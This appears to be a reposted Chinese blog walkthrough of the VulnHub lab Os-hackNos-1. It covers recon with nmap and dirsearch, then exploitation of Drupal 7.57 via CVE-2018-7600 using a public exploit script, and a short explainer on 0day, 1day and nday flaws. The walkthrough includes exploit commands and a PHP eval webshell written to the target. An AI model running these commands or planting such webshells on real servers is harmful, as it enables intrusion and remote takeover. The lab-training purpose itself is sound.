【渗透测试】-vulnhub源码框架漏洞-Os-hackNos-1

news2024/12/25 22:39:15

vulnhub源码框架漏洞中的CVE-2018-7600-Drupal 7.57

文章目录 

前言

1.靶场搭建:

2.信息搜集:

  主机探测:

  端口扫描:

  目录扫描:

3.分析:

4.步骤:

   1.下载CVE-2018-7600的exp

   2.执行exp:

   3.写入木马:

   4.获取webshell

5.oday,1day,nday漏洞区别


前言  什么是源码框架漏洞?

源码框架是指在软件开发过程中,为了提高开发效率、简化开发流程、提高代码质量和可靠性的基础架构和模板。

若该框架中存在漏洞,hacker便可以此漏洞,迅速发起所谓的“1day攻击”-针对那些尚未应用相应安全补丁的、使用了该漏洞框架的网站或应用进行广泛而有效的渗透,严重威胁到用户数据的安全性和服务的稳定性。


1.靶场搭建:

请参考vulnhub靶机 Os-hackNos-1_os-hacknos-1无法找到ip地址-CSDN博客

编辑->虚拟网络编辑器->更改

Kali,靶机配置两次,使其ip地址处于同一网段上。

2.信息搜集:

主机探测:

Kali:192.168.147.130

靶机:192.168.147.145

端口扫描:

nmap -sT 192.168.147.145

22/tcp open  ssh

80/tcp open  http

目录扫描:

python dirsearch.py -u 192.168.147.145

发现登录页面:http://192.168.147.145/drupal/

爆破

用户名:

密码:

没爆出来

换一种思路

对http://192.168.147.145/drupal/进行目录扫描

得出存活目录:

200 -  317B  - /drupal/.editorconfig

->没什么东西

200 -  174B  - /drupal/.gitignore

->没用

200 -   32KB - /drupal/CHANGELOG.txt

得到/drupal版本信息,2018-今, Drupal 7.57

200 -  769B  - /drupal/COPYRIGHT.txt

Java/php配置

200 -    1KB - /drupal/includes/

感觉没什么东西,还是大至翻一翻

ssh

代码审计-最后考虑。

Password

注释-密码范围,看这范围直接放弃

200 -  132KB - /drupal/includes/bootstrap.inc

主要得出php版本号:5.2.4

200 -  842B  - /drupal/INSTALL.pgsql.txt

->好像和数据库有关,可就开放了两个端口,浪费时间……

200 -  868B  - /drupal/INSTALL.mysql.txt

->这是教怎么创建数据库?和题没有一点关系。

200 -    1KB - /drupal/install.php

->没用

200 -    1KB - /drupal/install.php?profile=default

->没用

 200 -    6KB - /drupal/INSTALL.txt

->又在提版本号

 200 -    7KB - /drupal/LICENSE.txt

->没用

200 -    2KB - /drupal/MAINTAINERS.txt

->一堆介绍与,可惜没有泄露重要消息

200 -  849B  - /drupal/modules/

200 -  271B  - /drupal/profiles/minimal/minimal.info

一个下载文件

Drupal 7.57版本的“Minimal”发行版或配置,它仅启用了少数几个核心模块(如block和dblog),

200 -  743B  - /drupal/profiles/standard/standard.info

200 -  278B  - /drupal/profiles/testing/testing.info

200 -    2KB - /drupal/README.txt

接口之类的描述。

200 -  744B  - /drupal/robots.txt

->python爬虫的君子协定,没有关系

200 -  648B  - /drupal/scripts/

200 -  129B  - /drupal/sites/all/libraries/README.txt

200 -    0B  - /drupal/sites/example.sites.php

200 -  715B  - /drupal/sites/all/modules/README.txt

->没什么用

200 -  545B  - /drupal/sites/all/themes/README.txt

->一样

200 -  431B  - /drupal/sites/README.txt

sites/all/,扩展

200 -  536B  - /drupal/themes/

200 -    3KB - /drupal/UPGRADE.txt

->介绍版本

200 -    2KB - /drupal/web.config

->一节源代码,与目录拼接有关

200 -   42B  - /drupal/xmlrpc.php

->没用

3.分析:

Drupal是使用PHP语言编写的开源内容管理框架,既然是框架,即我们找到它框架的漏洞就能找到http://192.168.147.145/drupal/的漏洞

而我们查明drupal的版本号是Drupal7.57,最著名的是远程代码执行(RCE)漏洞

CVE-2018-7600(远程代码执行漏洞)

  • 影响:Drupal 7的Form API中存在一处远程代码执行漏洞,影响Drupal 7的多个版本,包括7.57。
  • 方式:通过向Drupal站点发送特制的HTTP请求,攻击者可以利用该漏洞执行任意代码。这通常涉及对表单数据或Ajax调用的篡改。
  • 利用:存在专门的Python脚本(如drupa7-CVE-2018-7600.py)用于自动化利用此漏洞。攻击者可以通过这些脚本测试目标网站是否存在该漏洞,并执行命令以获取敏感信息或进一步控制服务器。

4.步骤:

1.下载CVE-2018-7600的exp

 git clone https://github.com/pimps/CVE-2018-7600.git

2.执行exp:

python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c -l

3.写入木马:

python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c  "echo '<?php phpinfo(); ?>' > rce1.php"     ->输出php

python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c  "echo '<?php @eval($_POST[cmd]);  ?> '> rce2.php"   ->上码子

4.获取webshell

蚁剑连接webshell

5.oday,1day,nday漏洞区别

0day漏洞:是指那些尚未被公众发现、官方尚未发布补丁的安全漏洞。这些漏洞的存在是未知的,软件开发商和用户都未意识到其存在,但攻击者已经知晓并可以利用它们进行攻击。

特点

1.漏洞尚未被公开披露,软件厂商和用户都不知情。

2.由于漏洞未被修补,黑客可以利用它们进行持续性攻击,窃取敏感信息或瘫痪系统。

3.由于漏洞的未知性,软件厂商需要投入大量资源进行漏洞挖掘和修复工作。

1day漏洞:指那些已经被发现并公开披露,但软件厂商尚未发布修补程序或用户尚未广泛安装补丁的漏洞。这些漏洞的存在是已知的,但由于修补程序尚未到位,它们仍然可以被黑客利用。

特点

1.漏洞已被公开披露,软件厂商和用户都已知情。

2.虽然漏洞已知,但由于修补程序尚未发布或用户尚未更新,黑客仍然可以利用它们进行攻击。然而,由于漏洞已经公开,用户和安全研究人员可以采取一些临时措施来降低风险。

nday漏洞:nday漏洞是指那些已经被软件厂商发现并发布了修补程序,但经过一段时间后,仍有部分用户尚未安装这些补丁的漏洞。这里的“n”代表天数,表示从漏洞被发现并发布补丁到当前时间的天数。

1.漏洞已被公开披露,并且软件厂商已经发布了修补程序。

2.由于修补程序的存在,黑客利用这些漏洞进行攻击的难度相对较大。然而,如果大量用户仍未更新补丁,黑客仍然有可能找到漏洞并利用它们。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2144913.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QCustomPlot笔记(一)

文章目录 简介将帮助文档添加到Qt Creator中编译共享库cmake工程编译提示ui_mainwindow.h找不到qcustomplot.h文件 环境:windowsQt Creator 10.0.1cmake 简介 QT中用于绘制曲线的第三方工具 下载地址&#xff1a;https://www.qcustomplot.com/index.php/download 第一个压缩…

心觉:不能成事的根本原因

很多人一直都很努力&#xff0c;每天都很忙 每天都学习很多东西&#xff0c;学习各种道&#xff0c;各种方法论 但是许多年过去了依然一事无成 自己的目标没有达成&#xff0c;梦想没有实现 为什么呢 关键是没有开悟 那么什么是开悟呢 现在很多人都在讲开悟 貌似开悟很…

Docker Registry API best practice 【Docker Registry API 最佳实践】

文章目录 1. 安装 docker2. 配置 docker4. 配置域名解析5. 部署 registry6. Registry API 管理7. 批量清理镜像8. 其他 &#x1f44b; 这篇文章内容&#xff1a;实现shell 脚本批量清理docker registry的镜像。 &#x1f514;&#xff1a;你可以在这里阅读&#xff1a;https:/…

《深度学习》—— PyTorch的神经网络模块中常用的损失函数

文章目录 前言一、回归模型中常用的损失函数1、平均绝对误差损失&#xff08;L1Loss&#xff09;2、均方误差损失&#xff08;MSELoss也称L2Loss&#xff09;3、SmoothL1Loss 二、分类模型中常用的损失函数1、负对数似然损失&#xff08;NLLLoss&#xff09;2、二元交叉熵损失&…

XML映射器-动态sql

01-动态sql 1.实现动态条件SQL 第一种方法在sql语句中加入where 11其他条件都加and就行,这样就可以根据if条件来判断要传递的参数可以有几个 第二种方法用where标签给if语句包起来 where标签的作用如下图 第三种方法用trim标签解释如下图 用choose也可以实现条件查询如下图,…

【数据结构与算法 | 灵神题单 | 自底向上DFS篇】力扣508, 1026, 951

1. 力扣508&#xff1a;出现次数最多的子树元素和 1.1 题目&#xff1a; 给你一个二叉树的根结点 root &#xff0c;请返回出现次数最多的子树元素和。如果有多个元素出现的次数相同&#xff0c;返回所有出现次数最多的子树元素和&#xff08;不限顺序&#xff09;。 一个结…

在Ubuntu中编译含有JSON的文件出现报错

在ubuntu中进行JSON相关学习的时候&#xff0c;我发现了一些小问题&#xff0c;决定与大家进行分享&#xff0c;减少踩坑时候出现不必要的时间耗费 截取部分含有JSON部分的代码进行展示 char *str "{ \"title\":\"JSON Example\", \"author\&…

Web植物管理系统-下位机部分

本节主要展示上位机部分&#xff0c;采用BSP编程&#xff0c;不附带BSP中各个头文件的说明&#xff0c;仅仅是对main逻辑进行解释 main.c 上下位机通信 通过串口通信&#xff0c;有两位数据验证头&#xff08;verify数组中保存对应的数据头 0xAA55) 通信格式 上位发送11字节…

保护您的企业免受网络犯罪分子侵害的四个技巧

在这个日益数字化的时代&#xff0c;小型企业越来越容易受到网络犯罪的威胁。网络犯罪分子不断调整策略&#xff0c;并使用人工智能来推动攻击。随着技术的进步&#xff0c;您的敏感数据面临的风险也在增加。 风险的不断增大意味着&#xff0c;做好基本工作比以往任何时候都更…

Java--stream流、方法引用

Stream流 - Stream流的好处 - 直接阅读代码的字面意思即可完美展示无关逻辑方式的语义 - Stream流把真正的函数式编程风格引入到Java中 - 代码简洁 - Stream流的三类方法 - 获取Stream流 - 创建一条流水线,并把数据放到流水线上准备进行操作 - 中间方法 - 流水线上的操作 - 一次…

【代码随想录训练营第42期 Day60打卡 - 图论Part10 - Bellman_ford算法系列运用

目录 一、Bellman_ford算法的应用 二、题目与题解 题目一&#xff1a;卡码网 94. 城市间货物运输 I 题目链接 题解&#xff1a;队列优化Bellman-Ford算法&#xff08;SPFA&#xff09; 题目二&#xff1a;卡码网 95. 城市间货物运输 II 题目链接 题解&#xff1a; 队列优…

MySQL高阶1783-大满贯数量

题目 找出每一个球员赢得大满贯比赛的次数。结果不包含没有赢得比赛的球员的ID 。 结果集 无顺序要求 。 准备数据 Create table If Not Exists Players (player_id int, player_name varchar(20)); Create table If Not Exists Championships (year int, Wimbledon int, F…

Unity 高亮插件HighlightPlus介绍

仅对官方文档进行了翻译 注意:官方文档本身就落后实际,但对入门仍很有帮助,核心并没有较大改变,有的功能有差异,以实际为准.(目前我已校正了大部分差异,后续我会继续维护该文档) 为什么为该插件做翻译?功能强大,使用简单,且还在维护. 基于此版本的内置渲染管线文档 快速开始…

C语言之预处理详解(完结撒花)

目录 前言 一、预定义符号 二、#define 定义常量 三、#define定义宏 四、宏与函数的对比 五、#和## 运算符 六、命名约定 七、#undef 八、条件编译 九、头文件的包含 总结 前言 本文为我的C语言系列的最后一篇文章&#xff0c;主要讲述了#define定义和宏、#和##运算符、各种条件…

9.18作业

提示并输入一个字符串&#xff0c;统计该字符串中字母、数字、空格、其他字符的个数并输出 代码展示 #include <iostream>using namespace std;int main() {string str;int countc 0; // 字母计数int countn 0; // 数字计数int count 0; // 空格计数int counto 0;…

IEEE-754 32位十六进制数 转换为十进制浮点数

要将 IEEE-754 32位十六进制数 转换为 十进制浮点数&#xff0c;可以使用LabVIEW中的 Type Cast 函数。以下是一些具体步骤&#xff0c;以及相关实例的整理&#xff1a; 实现步骤&#xff1a; 输入十六进制数&#xff1a;在LabVIEW中&#xff0c;首先需要创建一个输入控制器&am…

2024最新软件测试面试题【1000道题含答案】

1、自动化代码中,用到了哪些设计模式? 单例设计模式 工厂模式PO设计模式数据驱动模式面向接口编程设计模式 2、什么是断言( Assert) ? 断言Assert用于在代码中验证实际结果是不是符合预期结果&#xff0c;如果测试用例执行失败会抛出异常并提供断言日志 3、什么是web自动化…

C++之继承(通俗易懂版)

前言&#xff1a;我们都知道C是一门支持过程化编程&#xff0c;面向对象的高级语言&#xff0c;既然是面向对象的语言&#xff0c;那么对于对象而言&#xff0c;对象会有很多中相同的属性&#xff0c;举个例子:你和你老师&#xff0c;你们都有着共同的属性和身份&#xff0c;例…

Longman Dictionary of Contemporary English (朗文当代高级英语辞典)

Longman Dictionary of Contemporary English {朗文当代高级英语辞典} 1. Longman Dictionary of Contemporary English1.1. school References 1. Longman Dictionary of Contemporary English https://www.ldoceonline.com/ 1.1. school https://www.ldoceonline.com/dicti…

C++: 高效使用智能指针的8个建议

前言&#xff1a;智能指针是C11的新特性&#xff0c;它基于RAII实现&#xff0c;可以自动管理内存资源&#xff0c;避免内存泄漏的发生&#xff0c;但是智能指针也并不是万能的&#xff0c;如果不正确使用智能指针&#xff0c;也会导致内存泄漏的发生&#xff0c;因此&#xff…